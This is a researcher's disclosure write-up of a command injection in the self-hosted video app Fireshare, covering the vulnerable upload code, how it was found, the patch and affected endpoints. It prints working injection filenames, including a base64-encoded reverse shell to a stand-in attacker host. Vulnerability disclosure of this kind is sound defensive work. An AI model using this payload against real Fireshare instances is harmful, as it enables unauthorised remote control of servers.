CVE-2025-67728 - Unauthenticated OS Command Injection (RCE) in Fireshare
Index
- Timeline
- Affected Versions
- Description
- Vulnerability Background
- How I Discovered the Vulnerability
- Exploit Development
- Other Affected Endpoints
- Patches
- Final Words
- References
Timeline
- Vulnerability Discovered and Reported: 18th November 2025 (
08:16 GMT) - Vulnerability Patched: 23rd November 2025 (
05:55 GMT) - Patch Released: 2nd December 2025 (
20:02 GMT) - CVE Assigned and Advisory Published: 11th December 2025 (
17:32 GMT)
Affected Versions
https://github.com/ShaneIsrael/fireshare
Vulnerable Versions: <=v1.2.3
Patched Versions: >=v1.3.0
CVE ID: CVE-2025-67728
Description
On the 18th December 2025 I discovered an OS Command Injection vulnerability in the Open-Source project Fireshare. The vulnerability could be exploited remotely allowing arbitrary OS command execution on the host, be that the Docker container or any device used to host the project bare metal. This could allow an attacker to gain full access to the underlying infrastructure. The vulnerability is patched in versions v1.3.0 and above.
Vulnerability Background
Fireshare is a self-hosted clip sharing tool. It was created to easily allow users to share short video clips with their friends by uploading the video to the webapp and sending the link to the person you want to see the video. It also allows for public user’s to be able to upload videos too, which is good if you want your friends to be able to share their clips with you too, however this led to the critical vulnerability I found.
On the backend, a small custom written command line tool would run when a video was uploaded. It would get the filename and perform some operations on the file, moving it, registering it in the database, etc. The command line utility was being called from the main webapp, using Popen(), which allowed for a crafted filename to break out of the original command and run whatever OS command I wanted.
How I Discovered the Vulnerability
I began by spinning up the Docker version of Fireshare, version 1.2.30 to be exact. Alongside running the Docker instance, I opened the source code in my IDE so I could trace the code, watching what the code does when I perform an action on the website.
There was only one user account allowed on the Fireshare instance, the admin user, and there were no other ways to create other user accounts. So, I logged in as admin.
After clicking through a couple of pages, I decided to upload an MP4 video file, thinking maybe I could possibly find a Local File Read vulnerability when I try to download the video again later, however I discovered something much different.

I spotted that when uploading a file, a POST request was made to the /api/upload endpoint. So locating this endpoint within the codebase, I found this.
@login_required
def upload_video():
paths = current_app.config['PATHS']
with open(paths['data'] / 'config.json', 'r') as configfile:
try:
config = json.load(configfile)
except:
return Response(status=500, response="Invalid or corrupt config file")
configfile.close()
upload_folder = config['app_config']['admin_upload_folder_name']
if 'file' not in request.files:
return Response(status=400)
file = request.files['file']
if file.filename == '':
return Response(status=400)
filename = file.filename
filetype = file.filename.split('.')[-1]
if not filetype in SUPPORTED_FILE_TYPES:
return Response(status=400)
upload_directory = paths['video'] / upload_folder
if not os.path.exists(upload_directory):
os.makedirs(upload_directory)
save_path = os.path.join(upload_directory, filename)
if (os.path.exists(save_path)):
name_no_type = ".".join(filename.split('.')[0:-1])
uid = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6))
save_path = os.path.join(paths['video'], upload_folder, f"{name_no_type}-{uid}.{filetype}")
file.save(save_path)
Popen(f"fireshare scan-video --path=\"{save_path}\"", shell=True)
return Response(status=201)
Most importantly:
Popen(f"fireshare scan-video --path=\"{save_path}\"", shell=True)
There were a couple of things in this code:
- First, it checks that the file extension is within the allowed file extensions list, if it is not then it does not proceed with any further execution, but this was not really anything that could prevent exploitation.
- Second, it generates the full path of where to save the file to by using
os.path.join()and appends a random 6 character string to the filename before saving the file and callingPopen(). - Finally, the command being run (
f"fireshare scan-video --path=\"{save_path}\"") wraps the file save path in double quotes ("). This was the only true issue I faced during exploitation…
Exploit Development
When attempting to break out of the command by adding a double quote into the filename, it breaks the request.


Forwarding this request would simply return a 400 Bad Request error because the filename was malformed. After a little while of trying different encodings and characters, I remembered I could simply escape the double quote, which would look like so:
------WebKitFormBoundaryTwtSkBnF2FIFIYdP
Content-Disposition: form-data; name="file"; filename="somebasicfile.mp4\"breakout"
Content-Type: video/mp4
This did not break the filename as the double quote was escaped. This finally allowed me to attempt the command injection.
To test if it would work, I first simply tried to write a file into /tmp using echo. To do this, I had to base64 encode the command, echo it, pipe it into base64 -d and then pipe the output into bash. This is because characters like > and / would break the filename again.
I opened a shell into the docker instance and ran ls in /tmp to see what files were already there, before using this filename in the upload POST request:
test.mp4\"; echo ZWNobyBwd25lZCA+IC90bXAvUFdORUQ= | base64 -d | bash; #.mp4
Finally, I ran ls again, and my file was there.

Building the Final Exploit
Now knowing that the command injection worked and how I could exploit it, I exploited it to get a simple reverse shell.
Payload and Breakdown
test.mp4\"; echo c2ggLWkgPiYgL2Rldi90Y3AvYXR0YWNrZXItaXAvODAgMD4mMQ== | base64 -d | bash; #.mp4
-
test.mp4: Legitemate filename with a valid extension. -
\": Break out of the file path within the command which is wrapped in double quotes whilst escaping the double quote in the filename. -
; echo c2ggLWkgPiYgL2Rldi90Y3AvYXR0YWNrZXItaXAvODAgMD4mMQ== | base64 -d | bash: Join the original escaped command with a new one which echoes base64 encoded data intobase64 -dbefore piping the output intobashto execute it. The stringc2ggLWkgPiYgL2Rldi90Y3AvYXR0YWNrZXItaXAvODAgMD4mMQ==decodes tosh -i >& /dev/tcp/attacker-ip/80 0>&1. -
; #.mp4: End the malicious injected command and join it with#.mp4. The#will tellbashto ignore anything after it (comment it out) and the.mp4will bypass the file extension check.

Other Affected Endpoints
This vulnerability was not only exploitable via the /api/upload endpoint which requires the user to be logged in as admin to POST to. It was also exploitable by three other endpoints, /api/uploadChunked which also required being logged in to access, /api/upload/public, and /api/uploadChunked/public. The final two endpoints could be accessed completely unauthenticated if the “Public Uploads” setting was enabled by the administrator, which if the user wanted their friends to share clips with them too, it would have to be enabled.

Patches
To patch this vulnerability, the maintainer implemented the use of werkzeug.utils.secure_filename to sanitize the filenames of uploaded files, as well as using shell=False within calls to Popen() as to not run commands using the system’s shell and instead pass arguments directly to the target binary.
Final Words
This vulnerability was good fun to find and report. It was my first critical vulnerability and first RCE. I did not expect to find it in this project and I was surprised that I found it within my first hour of looking into it. It highlights key points when it comes to secure development, mainly that user input should never EVER be trusted, but also that critical vulnerabilities like this can be hidden away in places you would never expect them to be.
I appreciate the maintainers efforts to patch the vulnerability once it was reported and disclosing the report allowing user’s of the project to learn of this vulnerability and that they should update to the latest version.
I urge anyone who is using Fireshare, particularly versions below v1.3.0 to update their instances immediately, especially if they have the “Public Uploads” setting enabled. But even if they don’t, the vulnerability is still exploitable once authenticated so it would be wise to update.